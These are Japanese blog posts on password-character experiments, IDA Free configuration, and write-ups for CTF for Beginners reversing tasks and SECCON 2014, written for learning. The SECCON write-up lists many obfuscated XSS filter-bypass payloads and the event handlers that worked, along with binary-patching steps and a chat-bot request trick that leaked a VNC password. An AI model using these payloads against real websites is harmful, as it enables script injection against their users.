Lhaplusのパスワード探索は非効率?

Lhaplusには、zipパスワードを総当りで解析する機能がある。
画面を下図に載せるが、見ててふと思うことがある。
f:id:f_rin:20141006235613p:plain

探索範囲 [すべて] の箇所で、パターンが0..255と書いてあり、明らかに英数記号の範囲を超過してる。
ここまで本当に必要?
ということ。明らかに 0x00 ~ 0xff まで見てる気がする…

ということで、パスワード設定はどこまでできるのか、気になったので色々やってみた。

もともと上記の疑問については無意味ではないということは知っていた。
たとえば、Windowsではキーボードからでも制御文字を入れることができる。

Windowsで[Ctrl + backspace] を入力してみると、パスワードに "\x7f" に相当する[DEL]文字を入れることができる。以下はLhaplusの圧縮時に入力してみたもの。
f:id:f_rin:20141007000343p:plain

OSのログインパスワードにも設定でき、これだけでパスワード強度が上がり有用である。
# そりゃ種別が増えるわけなので

Linuxではどうだろう。
Windowsで制御文字を使った暗号化ファイルは、Linuxではキーボードだと復号化できなかった。

手動では仕方ないのでスクリプトを組んでみた。

[root@kali] # python
Python 2.7.3 (default, Mar 14 2014, 11:57:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("unzip -P \x7f test.zip")
Archive:  test.zip
  inflating: test.txt                
0
>>> 

スクリプト経由では復号することができた。
ということは、圧縮ファイルならどんな制御文字を入れ込んでもzip化もできるんじゃないか?

zipの暗号化パスワードに制御文字をいれる

>>> os.system("zip -P \x01\x02\x03\x04 test.zip test.txt")
  adding: test.txt (deflated 59%)
0
>>> 

できてしまった。
厳密には、null byte "\x00" はダメだったが、それ以外ならパスワードに設定できるようだった。
これで、どうやってもキーボードからは突破できないzipファイルが作成できた。

ではこれをLhaplusのパスワード解析にかけてみると…
f:id:f_rin:20141007002019p:plain

ちゃんと予想どおり解析できた。
(探索桁が3なのは、表示文字がインクリメントされる前に処理が終了されたから。数えてみると4文字分解析されてる)
ということで、英数記号以外も設定可能なzipに関しては、Lhaplusのパスワード探索はぜんぜん非効率なんかではなかった。
むしろこういうやつらにも対応「は」できるすごいヤツだったのだ。(な、なんだってー!!)
といっても制御文字は解析済みの画面上に表示できないから具体的な文字列までは結局完全にはわからないわけだけど。
(あらかじめ文字の形とのマッピング表を作っておけば、ある程度はわかりそう)

では、あくまで総当り前提として、こういうファイルに出くわしたときの解析には有用なツールが何がいいだろうか?

…というのはそのうち試すことにして、今回は、OSのパスワードにも同様に制御文字を設定できるのかを試してみた。

Linux のパスワード設定・ログイン

試験的に、新しくユーザ "account00" を作成し、アカウントパスワードに [DEL] を入れられるか試す。

[root@kali] # useradd account00
[root@kali] # python
Python 2.7.3 (default, Mar 14 2014, 11:57:14) 
[GCC 4.7.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("echo account00:\x7f | /usr/sbin/chpasswd")
0
>>> 

できちゃったw
違うユーザからログインしようとしても、

$ su - account00
パスワード:
su: 認証失敗
$ 

どう頑張ってもできない。
なんというせきゅあ()なパスワード。
自身のマシンにも自アカウントでログインできないこのザマである。

ちなみにWindowsからsshでパスワード欄に Ctrl+backspace を入力すると、ちゃんとログインできた。
f:id:f_rin:20141007002830p:plain

ただし sshd などが上がりっぱなしな状況を作れないと死にますが。
もちろん、こんな感じでキーボードからは完全にログインできなくすることも可能。

>>> import os
>>> os.system("echo account00:\x01\x02\x03\x04 | /usr/sbin/chpasswd")
0
>>> 

では、スクリプトでOSにもログインできるかな。
今回は[こちら]のものを参考にさせていただき、Paramikoを使ったログインをしてみた。

import ssh

print "SSH START"

ipadr = "192.168.11.7"
usernm = "account00"
passwd = "\x01\x02\x03\x04"

s = ssh.Connection(ipadr,
                   username=usernm,
                   password=passwd)

command = "uname -a;id"
cmd_result = s.execute(command)

s.close()

for rlt in cmd_result:
    print rlt

これを実行すると、

[root@kali2] # python sshcon.py
SSH START
Linux kali 3.12-kali1-686-pae #1 SMP Debian 3.12.6-2kali1 (2014-01-06) i686 GNU/Linux

uid=1001(account00) gid=1002(account00) groups=1002(account00)

問題なく入れた。

Windows のパスワード設定・ログイン

Windowsも、スクリプト経由で ssh さえ立てれれば同様のことができるのではないか?ということでこちらも。
まずはユーザ "account01" を作成した後、SSHサーバを立てる。
SSHサーバ構築はCygwinを使って、[ここ]を参考にさせていただいた。

では、パスワードを変える。

Set objUser = GetObject("WinNT://localhost/account01")
objUser.SetPassword(chr(&H01)&chr(&H02)&chr(&H03)&chr(&H04))

VBSでパスワード変更のスクリプトを書いて、管理者として実行。
f:id:f_rin:20141007003359p:plain
f:id:f_rin:20141007010320p:plain

ちゃんと変更できて、OSログインもできなくなった。

今度はLinuxと同様に、スクリプトで account01 に対してSSHで接続。
cygwin を使い、 Paramiko を入れて他ユーザからログインする。

import ssh

print "SSH START"

ipadr = "192.168.11.2"
usernm = "account01"
passwd = "\x01\x02\x03\x04"

s = ssh.Connection(ipadr,
                   username=usernm,
                   password=passwd)

command = 'whoami; echo "logged in!!"'
cmd_result = s.execute(command)

s.close()

for rlt in cmd_result:
    print rlt

実行すると、

[rintaro@rintaro_PC] $ python sshcon.py
SSH START
account01

logged in!!

Windowsでもキッチリできた。
以上で、パスワードを強固にするには制御文字も有効であることがわかった。
SSHが常時上がり続ける保証でもない限り、強制パスワードリセットが必要になりそうだけど。

root とか Administrator のアカウントでもしやった人がいたら、どういう心境なのかぜひ聞いてみたい。

ということで、まとめ。

  • 圧縮やログイン用のパスワードは、文字が長いほど、そして複雑であるほど強度は上がるが、その文字種には「ヌルバイト以外の任意の制御文字も利用可能である」(ただし認証にも一苦労なので、どこまでやるかという話ではある)
  • そして、Lhaplusのzipパスワード解析はそれを破るためには無駄ではない
  • またOSのパスワードにも制御文字を設定できる。ただしシェル経由でログインできる環境でないとログインできなくなるので要注意


いつか、会社で重要資料とか送るときに一度はやってみたいよね。

「解凍パスワードは、SOH STX ETX EOT ENQ の5文字でお願いします。」

なんて。

ソーシャルハック?のパロディを作ってみた

一緒にSECCON2014オンライン予選に出ていたチームメイトの誕生日にプレゼントを渡してきた。

用意したのは、

  • 詰め将棋の本
  • LINEのプリペイドカード
  • ソーシャルハック?を擬似ったメッセージ(下のやつ)

f:id:f_rin:20140811001117p:plain

あとはネタじゃないプレゼントも一緒に封筒に入れてポストに投下。
その後尻尾を巻いて逃げ帰りました。

写メは送ってくれないかなーと思ってたけど、ピースつきでちゃんと送ってもらえた。
しかも3枚。

3枚もくれたならば仕方がない。すかさずFlagを送信。
見事、人権確保!!!

FLAG{Y0urB1rthd4y1sT0m0rr0w}


無事翌日誕生日を迎えたようです。
良い1年になりますように。

IDA Free版でホットキーの割当てをする

バイナリの静的解析にはよくIDAを使っている。
最新版を使えると良いのだけど、お値段が10数万とかしてしまい、またデコンパイラまで全部揃えると50万円じゃ足りないので、Free版を使っている。

前回のエントリで「IDAがFree版ではバイナリの書き換え機能がない」と書いていたが、設定ファイルを見ていたところ、実はそんなことはなかったので、それについて書くことにする。

設定ファイルを書き換える

IDAは、起動時に設定ファイルを読み、カーソルの形や表示項目の有無、ホットキーの設定などを読み込んでいる。
このファイルをいじることで、前回できないと言っていた機能の表示や、ホットキーの割当て変更ができる。
IDAは海外で作られているソフトということもあり、ホットキーがUSキーボード向けになっている。
しかもFree版ではホットキーの割当て用のUIが用意されていない。

今回は、設定ファイルを変更することで、これらの設定を変更してみる。
設定ファイルは、Windows7の場合は以下にあるものを編集する。

C:\Program Files (x86)\IDA Free\cfg\idagui.cfg

また、この中でさらにインクルードファイルとして

C:\Program Files (x86)\IDA Free\cfg\idauserg.cfg

を読み込んでいるので、これを書き換えても良い。
自分の環境ではもともと idauserg.cfg が存在していなかったので、 idagui.cfg を編集した。
なお、書き換えに失敗するとIDAが起動しないので、戻せるように元ファイルはバックアップを取っておくと良い。

idagui.cfg

idagui.cfg ファイルを開くと、中身はわかりやすい記載となっている。
ただし変数名だけでは何だかわからないものもあるので、これは自分で試してみて動作を確認する。
以下は idagui.cfg の一部。
f:id:f_rin:20140810155040p:plain

すべて試したわけではないけど、いくつか設定をいじってみたので紹介する。

バイナリ書き換え機能

何もいじっていない状態だと、IDA Free版ではバイナリを書き換えるための表示が出てこない。
Demo版だと [Edit] > [Patch program] > [Change byte] があるのにFree版だとできないと思っていたのはこのためだ。
f:id:f_rin:20140810155746p:plain

設定ファイルを見ていくと、以下のような記述がある。

DISPLAY_PATCH_SUBMENU    = NO           // Display the Edit,Patch submenu

ここを書き換えてみる。

//DISPLAY_PATCH_SUBMENU    = NO           // Display the Edit,Patch submenu
DISPLAY_PATCH_SUBMENU    = YES           // 20140810 Edit.

これでIDAを再起動してみると、
f:id:f_rin:20140810160620p:plain
Free版でもバイナリの書き換えができるようになっている。

さらに、ホットキーの設定を見ていくと、以下のような記載もある。

"PatchByte"             =       0

変数名から、上記機能のホットキーが無効になっていると推測できるので、以下のようにしてみる。

//"PatchByte"             =       0
"PatchByte"             =       "Shift-B"   // 20140810 Edit.

すると、 "Shift + B" を押すだけでパッチダイアログが開くようになった。
f:id:f_rin:20140810161137p:plain

これで他のバイナリエディタを一緒に開かなくて良くなるので、だいぶ大きな収穫だ。
せっかくなので、ひととおり設定を見ながら、自分が便利だなーと思うところを変えてみた。

Viewの色付け

解析が途中までいったときや、気になる箇所にはマーカーを付けたいけど、今までコメントアウトとかで対応していた。
[Edit] > [Other] > [Color instruction]
からやることができるけど、これもキーボード操作だけでできるようにしてみる。

//"ColorInstruction"      =       0
"ColorInstruction"      =       "Shift-C"    // 20140810 Edit.

これで、"Shift + C" で好きな色のマーカーを付けられる。
f:id:f_rin:20140810162027p:plain

配列の定義

arrayの定義をするホットキーも設定してあるが、Numpad の "*" を入力する必要があり、ノートPCからはやりにくい。
どうせなので Numpadでない "*" で定義できるように直す。

//"MakeArray"             =       "Numpad*"
"MakeArray"             =       "*"           // 20140810 Edit.

これでarrayの定義を開けるようになった。
f:id:f_rin:20140810165126p:plain

ビット操作

// commented out because the french version of windows nt with sp4 complains
// if you want, you may uncomment it - anyway it doesn't make big difference
"ChangeSign"          =       "Shift+-"      // 20140810 uncomment.

符号変更した値を確認したい場合がもしあったら確認できる。
f:id:f_rin:20140810235322p:plain

その他ホットキー設定

グラフビューを新規に開く。

//"WindowOpen"            =       0
"WindowOpen"            =       "Shift-W"    // 20140810 Edit.

選択しているニーモニックと同じ命令が書いてある次の箇所にジャンプする。

//"SearchNext"            =       0
"SearchNext"            =       "Shift-S"    // 20140810 Edit.


コマンド覚えるのが大変になりそうなので、ホットキーの編集はこの辺で終わりにした。

読み込むファイルの拡張子制限を増やす

たとえばelfファイルで "*.out" の拡張子ファイルを読み込みたくても、ファイル選択ダイアログ起動時はデフォルトで読めない。
f:id:f_rin:20140810174133p:plain

デフォルトで読ませたい拡張子があるときは、以下のように拡張子を追加してやると読めるようになる。

// Identifier, Name,                                     Extension(s)
FILE_EXTENSIONS = {

  ・・・

  ELF_BIN,     "ELF files",                                  "*.out"

  ・・・
}

もしくは、デフォルトですべての拡張子のファイルを読めるようにしてしまっても良いかもしれない。

// 20140810 Change seq.
DEFAULT_FILE_FILTER = { ALL KNOWN IDB EXE DLL DRV OBJLIB ELF_BIN JAVA NET DRV_NETWARE GEOS EXE_FLEX EXE_RT11 ARM EPOC SPSX EXE_PALM EXE_XBOX EXE_N64 EXE_SDC HEX MAS SBN RAW_BIN ROM_BIN DUMP_BIN }

f:id:f_rin:20140810174953p:plain

もともと記載してあったこと以上のことはしなかったけど、便利機能をすぐに呼び出せるようになったのは良かった。
もしFree版を使っていてキー操作やホットキーに不満を持っていたら、これを機に設定を変えてみるのも良いと思う。

CTF for Beginners のバイナリ問題を見てみた

SECCON2014 オンライン予選もひと段落した。

前回のエントリ書いたときにreversing力が欲しいとか思ったので、手始めにCTF for Beginnersのバイナリを見てみた。
といってもそこまでちゃんと見たわけではないけど…。
問題名とかは忘れてしまったので、バイナリファイル5つをファイル名順に見ていく。

第1回に参加したため、第2回とは問題ファイルが違っているかもしれない。
なお、IDAはデモ版でなくてFree版を使っている。
なぜデモ版を使わないの?
と言われると特に理由はないです。しいて言えばデモ版のメリット/デメリットを評価できてないからかな。
今度調べてみよう。てか有償版ほしい。

ctf_bin1

ctf_bin1 ファイルが与えられるため、fileコマンドで確認する。

[root@kali] # file ctf_bin1
ctf_bin1: Microsoft Word 2007+

Word2007のようなので、ファイル名を"ctf_bin1.docx" にすればWordやWordpadでファイルを開ける。
f:id:f_rin:20140724012746p:plain

ctf_bin2

同じように ctf_bin2 ファイルが与えられる。まずはfileコマンドで確認。

[root@kali] # file ctf_bin2
ctf_bin2: data

バイナリデータっぽい。
サイズは、

[root@kali] # ls -lh ctf_bin2
-rw-r--r-- 1 root root 11M  628 12:36 ctf_bin2

めっちゃでかいw
ASCIIもめっちゃありそうだなぁ…と思いつつstringsコマンドを打ってみると、

[root@kali] # strings ctf_bin2
 Beginning_of_The_History 

FLAG出てきました。

ctf_bin3

ctf_bin3. ここからアセンブラを見ていく。

[root@kali] # file ctf_bin3
ctf_bin3: PE32 executable (console) Intel 80386, for MS Windows
[root@kali] # mv ctf_bin3 ctf_bin3.exe

実行してみると、誰だか聞かれる。
正しい名前を入力する必要がある模様。

C:\>.\ctf_bin3.exe
Who are you?
> hoge
Authorization failed...

stringsコマンドを打ってもFLAGっぽい文字列は見つからないため、IDAで逆アセンブルする。
見る場所は、"Who are you?" あたりの文字列から探せばすぐに見つかった。
"Alt + t" で検索窓を出して "Who are you" で検索すると、.textセクションで文字列をpushしているところが見つかるので、この付近から見ていく。
f:id:f_rin:20140724014803p:plain
検索結果
f:id:f_rin:20140724015919p:plain

赤四角の直前で al が0かどうか確認し、0の場合に右側の失敗ルートに入っているようだ。
てことは、ここでalが0以外の状態か、ここの命令を書き換えると左側(赤矢印)の成功ルートに入れる。

まずは手っ取り早く命令を書き換えてみることにする。
上図の青四角がアドレスである。"0000048E" の部分を書き換える。jmp命令2バイト分をNOP(何もしない命令:0x90)に書き換えると、条件判断をせずに無条件で左のルートに入ることができる。
IDAがFree版で書き換え機能がないので、他のバイナリエディタを使って書き換えを行った。使ったのはStirling.
f:id:f_rin:20140724020026p:plain
これで実行してみるとFLAGが表示されるかと思ったら…

C:\>.\ctf_bin3_edit.exe
Who are you?
> hoge
Authorization succeeded!
Here is the secret flag: zD^REnEwLZY (←実際は文字化け)

ですよね。でないとstrings打った時点でFLAG出てますよね。
先ほどのアセンブラの中に、"compareStr" という関数へのCall命令がある(赤四角の少し上の部分)ので、その中を見てみる。
あ、ちなみに画像に出てくる関数名や変数名はリネーム済み。コメントアウトも追記したものです。
f:id:f_rin:20140724021754p:plain

ざっくり言うと、
①で入力した文字列長が13かどうか確認して、
②で文字テーブルから取り出した値を0x39とXOR, その後3bit右ローテーションする
処理を繰り返し、入力値の正否を判断する文字列を生成している。

3B 1A 52 B0 4A B0 90 80 AA 3B 80 B8 AA
↓
02 23 6b 89 73 89 a9 b9 93 02 b9 81 93
↓
40 64 6d 31 6e 31 35 37 72 40 37 30 72 ← これと入力値を比較
 @  d  m  1  n  1  5  7  r  @  7  0  r

というわけで、正しい入力値は "@dm1n157r@70r".

C:\>.\ctf_bin3.exe
Who are you?
> @dm1n157r@70r
Authorization succeeded!
Here is the secret flag: ROTATION_AND_XOR

どうせなので、flag生成のところも見てみる。
最初に見ていたところの左側(赤矢印)ルートの真下に、親切にもFlagを生成するロジックがある。
# コメントとかリネームいれているので、これだけでわかると思うけど
f:id:f_rin:20140724020756p:plain

簡単に言ってしまうと、
①で文字数をカウントし、
②で、バイナリ内に存在するテーブル値と入力値をXORする
ことでFlagを生成している模様。
このとおりにトレースしてみると、確かにFlagが生成されている。

src = [0x12,0x2b,0x39,0x70,0x3a,0x78,0x7a,0x79,0x2d,0x01,0x79,0x74,0x2d,0x18,0x2b,0x3f]
inputstr = '@dm1n157r@70r'
l = len(inputstr)
dst = ''

for i in range(16):
    dst += str(unichr(ord(inputstr[i%l])^src[i]))                               

print dst
[root@kali] # python ctf_bin3.py
ROTATION_AND_XOR

ctf_bin4

ctf_bin4. これもアセンブラだった。

[root@kali] # file ctf_bin4
ctf_bin4: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
[root@kali] # mv ctf_bin4 ctf_bin4.exe

実行してみると、Debugモードでないと動かんと言われる。
f:id:f_rin:20140724200908p:plain

IDAで開いてみる。"Ctrl + F12" で関数をチャート化してみた。
f:id:f_rin:20140724201008p:plain

memcpyとかも怪しいけど、ぱっと見、startから右下に下がっていったところ(赤四角部分)が怪しいかなと思い、見てみるとビンゴ。
f:id:f_rin:20140724202113p:plain

loc_40143Aから左下に下りたところらへんでFlagとかセットしてそう。
OllyDbgで開いてみて、このへんにBreakPointつけたら、Flag出てきました。
f:id:f_rin:20140724202009p:plain

Flag{Flag_is_always_with_debugger}

というわけで、詳しく見てみる。
上図のグラフの右側 "loc_40140F" が、文字列を取ってきてdecode処理をしている箇所になる。
ここのループを抜けるとFlag文字列が出来上がっている。その後に、左側のルートに入り、"call dispFirstMSG" 処理をしている。この関数の中身は以下のような処理が走っている。
f:id:f_rin:20140724203121p:plain

①で、1msのタイマーをセット
②でFlag文字列をセットして
③でメッセージボックスを表示

でも、1ms後にメッセージボックス消失。
という流れ。つまり、この1msのタイマーを消してやれば、Flagが消滅せずに表示される。
上図の青四角部分は、SetTimerを呼んでいるところのアドレス。"000009EC"のCall命令(000009EFまで)をNOPに書き換えてやる。
また、呼び出し元関数にデバッガモードかどうかの判断ロジックがあるため、ここも改竄してあげる。
f:id:f_rin:20140724203534p:plain
"jz loc_40151A" 命令を削除(000007EA~000007EF をNOPに書き換え)。
すると、通常起動でも動作してFlagが表示される。
f:id:f_rin:20140724203910p:plain

なお、この後の動作は、最初のFlag生成と同じdecode処理がもう一回走っている(赤枠部分)。
f:id:f_rin:20140724204115p:plain

その上で、
①2回decodeが走った後の文字列をメッセージボックスで出し、
②「2回decodeしちゃったテヘペロ (・ω<)」というメッセージボックスをもっかい出している
という流れだった。
f:id:f_rin:20140724204255p:plain

というわけで、出てくるMessageBoxは全部で3つ。
f:id:f_rin:20140724205027p:plain

という流れのプログラムなのであった。

ctf_bin5

はたまたこれもWindowsの実行ファイル。Windows縛り。

[root@kali] # file ctf_bin5
ctf_bin5: PE32 executable (console) Intel 80386, for MS Windows
[root@kali] # mv ctf_bin5 ctf_bin5.exe

実行してみると、"INVALID KEY!!" と表示されて終了。

C:\>.\ctf_bin5.exe
INVALID KEY!!

IDAで処理フローを確認して、"INVALID KEY!!" 付近を見てみると、またもや条件分岐でFlagを表示させるルートが。
f:id:f_rin:20140724205838p:plain

今回は、IDAのデモ版を使って書き換えてみる(深い意味はない。でもStirlingでやるより楽だった)。
書き換えたい"jz"命令を選択した状態で、
[Edit] > [Patch program] > [Change byte...]
f:id:f_rin:20140724210226p:plain

"jz"命令(0x74)を "jnz"命令(0x75)に書き換える。もちろんNOP(0x90)にしてもOK.
f:id:f_rin:20140724210605p:plain

書き換えたファイルを実行すると、Flagが表示される。

C:\>.\ctf_bin5_flag.exe
FLAG IS : "Salamander"

入力値をどうにかしているのか、と思ったらそうでもなさそうなので、ここを書き換えるのが解法なんかなーと思った。
# 単純にreversing力不足で見つけられていないだけかもしれないけど。

せっかくなのでFlag生成部分を見てみる。
この処理をしている関数"sub_401000"が呼ばれた際に、値を格納しまくっている。
f:id:f_rin:20140724223455p:plain

1byteなのでchar型と推測したけど、たまにバイナリも入ってるな…。
これが答えの種。
この宣言したやつが、どんどんスタックに積まれていく。

ここで宣言しまくった値を、
①1byteおきに参照して、
②0x20とxor(アルファベットの大文字/小文字逆転)して、
③変数(byte*)に入れる
処理をしているようだ。
f:id:f_rin:20140724220333p:plain

つまり、
①で"sALAMANDER"を参照し、
②"Salamander"に変換して、
③答えの変数に入れてる。
以下はOllyDbgで追ってみたもの。文字列がSalamanderの16進数(リトルエンディアン)になってる。
f:id:f_rin:20140724220531p:plain



ということで、CTF for Beginners のバイナリファイルをひととおり見てみた。
バイナリ力まだまだ足りないけど、IDAとOllyDBGは少しずつ使えるようになってきた感触がある。

strcpyだったりmemcpyだったり、はたまたprintfだったり、見ていく箇所は慣れてくると決まってくるのかもしれないけど、
実際にアセンブラから脆弱性を探してPwnできるようになるのは、まだ先かもしれない。

SECCON2014 オンライン予選Writeup

今までブログやらインターネッツをあさるときはずっとROM専だったわけだが、せっかくCTFやるならブログやってみれば?とチームメンバにいわれ、やってきたことの備忘録も付けたいなーと思っていたところなので、書いていくことにする。
今パンイチだけど。

 

タイトルにあるとおり、SECCON2014 オンライン予選にチームctpmとして参加してきた。ctpmは、去年の秋ぐらいに初めてCTFという世界に飛び込んで活動してきたチーム。
昨年もSECCON2013には参加した(全国大会20チームのうち最下位…orz)。

 

今回の結果は1000点で54位。これはヤバいなーと思い危機感がつのったけれど、良く捕らえれば刺激をもらえた大会だった。

f:id:f_rin:20140721214411p:plain

 

以下、取り組んだ問題についてのWriteup.

バイナリ

x86アセンブラを読もう

以下のコードをアドレス 01361040 から実行した。
表示される数値を答えよ。

01361000 >   55                 PUSH EBP
01361001     8BEC               MOV EBP,ESP
01361003     83EC 08            SUB ESP,8
01361006     C745 FC 00000000   MOV DWORD PTR SS:[EBP-4],0
0136100D     C745 F8 01000000   MOV DWORD PTR SS:[EBP-8],1
01361014     EB 09              JMP SHORT test.0136101F
01361016     8B45 F8            MOV EAX,DWORD PTR SS:[EBP-8]
01361019     83C0 01            ADD EAX,1
0136101C     8945 F8            MOV DWORD PTR SS:[EBP-8],EAX
0136101F >   8B4D F8            MOV ECX,DWORD PTR SS:[EBP-8]
01361022     3B4D 08            CMP ECX,DWORD PTR SS:[EBP+8]
01361025     7F 0B              JG SHORT test.01361032
01361027     8B55 FC            MOV EDX,DWORD PTR SS:[EBP-4]
0136102A     0355 F8            ADD EDX,DWORD PTR SS:[EBP-8]
0136102D     8955 FC            MOV DWORD PTR SS:[EBP-4],EDX
01361030    ^EB E4              JMP SHORT test.01361016
01361032   . 8B45 FC            MOV EAX,DWORD PTR SS:[EBP-4]
01361035   . 83E8 02            SUB EAX,2
01361038   . 8BE5               MOV ESP,EBP
0136103A   . 5D                 POP EBP
0136103B   . C3                 RETN
...
01361040 > . 55                 PUSH EBP
01361041     8BEC               MOV EBP,ESP
01361043     51                 PUSH ECX
01361044     C745 FC 00000000   MOV DWORD PTR SS:[EBP-4],0
0136104B     6A FF              PUSH FF
0136104D     E8 AEFFFFFF        CALL test.01361000
01361052   . 83C4 04            ADD ESP,4
01361055   . 8945 FC            MOV DWORD PTR SS:[EBP-4],EAX
01361058   . 8B45 FC            MOV EAX,DWORD PTR SS:[EBP-4]
0136105B   . 50                 PUSH EAX
0136105C   . 68 F4203601        PUSH OFFSET "FLAG{%d}\n"
01361061   . FF15 A4203601      CALL DWORD PTR DS:[<&MSVCR100.printf>]
01361067   . 83C4 08            ADD ESP,8

アセンブラを読み、そのとおりにプログラムを書いて実行すれば良い。

#include<stdio.h>

int main(){
    int i = 1;
    int sum = 0;
    for(i = 1; i<0x100; i++){
        sum += i;
    }
    sum -= 2;
    printf("FLAG{%d}\n",sum);
    return 0;
}

FLAG

FLAG{32638}

 

WEB

箱庭XSSリターンズ

XSSで、"XSS"と書かれたalertボックスをひたすら出していく問題。
一度入力した英数字は次回からは使えなくなる。また、Stage20ではそれに加え"&", "\"も使えなくなる。

f:id:f_rin:20140721220448p:plain

ループでalertを表示するような着想が得られなかったので、地道に解いていった。

基本系を下のような形で利用する。
これをhexやoct, decなどの表記で派生系を作りながら、禁止文字と被らないようにしていく。大会中つかったのは、以下のうち3種類程度。

"><script>alert("XSS")</script>
"onclick="alert('XSS')"
"onblur=`[]["push"]["constructor"]('alert("XSS")')()`
"onchange="/AAA/['constructor']['constructor']('alert(\'XSS\')')()
"onfocus="javascript:alert('XSS')
"onmousedown="window['alert']('XSS')"
"onmouseup="parent['alert']('XSS')"
"onfocusin="top['alert']('XSS')"
"onPaste="eval('alert(\'XSS\')')"

汚いから晒したくないのだけど、実際使ったものを一応貼っておく。

"oncopy=`[]["AAAAAAAAAAAAAAAAAAAApush".slice(20)]["AAAAAAAAAAAAAAAAAAAAconstructor".slice(20)]('AAAAAAAAAAAAAAAAAAAAalert'.slice(20)+'("'+'AAAAAAAAAAAAAAAAAAAAXSS")'.slice(20))()`
"onContextmenu=`[]["BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBpush".substring(31,35)]["BBBBBBBBBBBBBBBBBBBBBBconstructor".substring(22,33)]('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBalert'.substring(31,36)+'("'+'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBXSS")'.substring(31,36))()`
"onpaste=`[]["CCCCCCCCCCCCCCCCCCCCCpush".substr(21)]["CCCCCCCCCCCCCCCCCCCCCconstructor".substr(21)]('CCCCCCCCCCCCCCCCCCCCCalert'.substr(21)+'("'+'CCCCCCCCCCCCCCCCCCCCCXSS")'.substr(21))()`
"onmouseleave=`[]["99999push".match(/[SXacehlmnoprstuvx]+/)]["99999constructor".match(/[SXacehlmnoprstuvx]+/)]('99999alert'.match(/[SXacehlmnoprstuvx]+/)+'("'+'99999XSS'.match(/[SXacehlmnoprstuvx]+/)+'")')()`
"><script>alert("XSS")</script>
"onfocus="&#x00006A&#x000061&#x000076&#x000061&#x000073&#x000063&#x000072&#x000069&#x000070&#x000074&#x00003A&#x000061&#x00006C&#x000065&#x000072&#x000074&#x000028&#x000027&#x000058&#x000053&#x000053&#x000027&#x000029
"onmouseover="&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00027&#x00058&#x00053&#x00053&#x00027&#x00029
"onmousemove="&#x006A&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003A&#x0061&#x006C&#x0065&#x0072&#x0074&#x0028&#x0027&#x0058&#x0053&#x0053&#x0027&#x0029
"onmouseout="&#x06A&#x061&#x076&#x061&#x073&#x063&#x072&#x069&#x070&#x074&#x03A&#x061&#x06C&#x065&#x072&#x074&#x028&#x027&#x058&#x053&#x053&#x027&#x029
"onkeypress="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29
"onclick="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041
"ondblclick="&#000106&#000097&#000118&#000097&#000115&#000099&#000114&#000105&#000112&#000116&#000058&#000097&#000108&#000101&#000114&#000116&#000040&#000039&#000088&#000083&#000083&#000039&#000041
"onmousedown="&#00106&#00097&#00118&#00097&#00115&#00099&#00114&#00105&#00112&#00116&#00058&#00097&#00108&#00101&#00114&#00116&#00040&#00039&#00088&#00083&#00083&#00039&#00041
"onmouseup="&#0106&#0097&#0118&#0097&#0115&#0099&#0114&#0105&#0112&#0116&#0058&#0097&#0108&#0101&#0114&#0116&#0040&#0039&#0088&#0083&#0083&#0039&#0041
"onkeydown="&#106&#097&#118&#097&#115&#099&#114&#105&#112&#116&#058&#097&#108&#101&#114&#116&#040&#039&#088&#083&#083&#039&#041
"onSelectStart=`[]["hsup".split("").reverse().join("")]["rotcurtsnoc".split("").reverse().join("")]('trela'.split("").reverse().join("")+'("'+'SSX'.split("").reverse().join("")+'")')()`
"onchange="/z/['\143onstructor']['\143onstructor']('\141lert'+'('+'\'\130SS\''+')')()
"onselect="/q/['\143\157nstructor']['\143\157nstructor']('\141\154ert'+'('+'\'\130\123S\''+')')()
"onblur=`[]["push"]["constructor"]('ale'+'rt("\170\163\163".toUpperCase())')()`
"onmousewheel=`[]["pu"+"sh"]["const"+"ructor"]('al'+'e'+'r'+'t("X'+'SS")')()`

6問目を解いたときと、20問目を解いたときに、それぞれFLAGが表示される。

FLAG{dbe6Z7bdbpa3e7cdcccc5c0}
FLAG{OO3auUR7e8712af065dBa6F}

最終的に禁止文字種類は250近かったと思うw

ネットワーク

ソーシャルハック?

 犯人を追い詰めろ!

という問題文と、LINE風のチャット画面へのリンクが貼られている。
ソーシャルハックを仕掛けてFLAGを取得するというもの。 終了間際に気づいて、サーバ側で80番ポートでリクエストを待ち受ける。チャットで

http://待ち受けサーバIPアドレス/test.png

とかやると、サーバに対してアクセスしてくれる。

# 2014/7/22 キャプチャイメージ追加

f:id:f_rin:20140722102153p:plain

リクエストUser-Agentを見ると、VNCのパスワードが記載されている。

f:id:f_rin:20140721233212p:plain

あとはここにVNCでつないで、FLAGを取得したら完了。
と思いきや、scoreサーバにFLAGを投入したところで時間切れとなりsubmitできなかった。残念。

 

このほかに、チームメンバがフォレンジック300でも惜しいところまでいっていたけど、それを取れていたとしても全国大会にはいけてなかったので、潔く次回の予選に向けて力を蓄えようと思う。
このままでは前回のFinalの屈辱すら果たせなくなってしまうので、良い意味で緊張感を持って次回もチャレンジしたい。

 

それはそうと、今回の箱庭XSSではイベントハンドラを探してくるのが大変だった。今回のinput属性で使えるものを調べたのをついでに載せておく。

onclick
ondblclick
onkeydown
onkeypress
onkeyup        ←これは今回動かなかった
onmouseover
onmousedown
onmouseup
onmouseenter
onmouseout
onmousemove
onmousewheel
onmouseleave
onfocus
onfocusin
onfocusout
onblur
onchange
onselect
onselectstart
ondrag
ondragstart
ondragend
ondrop
oncontextmenu
onpaste
onbeforepaste
oncopy
onbeforecopy
oncut
onbeforecut

 

